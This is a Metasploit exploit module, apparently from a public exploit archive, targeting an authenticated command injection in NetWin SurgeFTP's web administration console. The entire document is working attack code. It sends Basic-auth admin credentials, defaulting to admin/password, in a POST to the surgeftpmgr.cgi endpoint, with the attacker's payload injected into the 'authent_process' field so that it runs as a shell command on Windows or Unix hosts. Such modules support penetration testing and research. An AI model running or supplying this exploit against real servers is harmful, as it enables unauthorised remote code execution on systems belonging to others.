NetWin SurgeFTP - (Authenticated) Admin Command Injection (Metasploit)

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SurgeFTP Remote Command Execution',
			'Description'    => %q{
				This module exploits a flaw in the SurgeFTP server's web-based
				administrative console to execute arbitary commands.
			},
			'Author'	=> 
				[
					'Spencer McIntyre',
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
				],
			'Arch'           => ARCH_CMD,
			'Platform'       => ['unix', 'win'],
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
				},
			'Targets'        =>
				[
					[ 'Windows', { 'modifier' => "%s" }, ],
					[ 'Unix', { 'modifier' => "/bin/sh -c \"%s\"" }, ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Dec 06 2012'))
			
		register_options(
			[
				OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),
				OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]),
			], self.class)

	end

	def exploit
		user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
		command = target['modifier'] % payload.encoded
		print_status("Invoking command")
		
		res = send_request_cgi(
		{
			'uri'     => '/cgi/surgeftpmgr.cgi',
			'method'  => 'POST',
			'headers' =>
				{
				'Authorization' => "Basic #{user_pass}",
				},
			'vars_post' =>
				{
					'global_smtp' => "",
					'global_restart' => "",
					'global_style' => "",
					'global_bind' => "",
					'global_passive_ip' => "",
					'global_passive_match' => "",
					'global_logon_mode' => "",
					'global_log_host' => "",
					'global_login_error' => "",
					'global_adminip' => "",
					'global_total_users' => "",
					'global_con_perip' => "",
					'global_ssl' => "",
					'global_ssl_cipher_list' => "",
					'global_implicit_port' => "",
					'log_level' => "",
					'log_home' => "",
					'global_watcher_program_ul' => "",
					'global_watcher_program_dl' => "",
					'authent_process' => command,
					'authent_cmdopts' => "",
					'authent_number' => "",
					'authent_domain' => "",
					'global_strip_user_domain' => "",
					'global_noclass' => "",
					'global_anon_hammer_over_time' => "",
					'global_anon_hammer_max' => "",
					'global_anon_hammer_block_time' => "",
					'global_port' => "",
					'global_mgr_port' => "",
					'global_mgr_ssl_port' => "",
					'cmd_global_save.x' => "36",
					'cmd_global_save.y' => "8",
				}
		})
		
		if not (res and res.code == 200)
			print_error("Failed to execute command")
		else
			print_status("Done")
		end
	end
end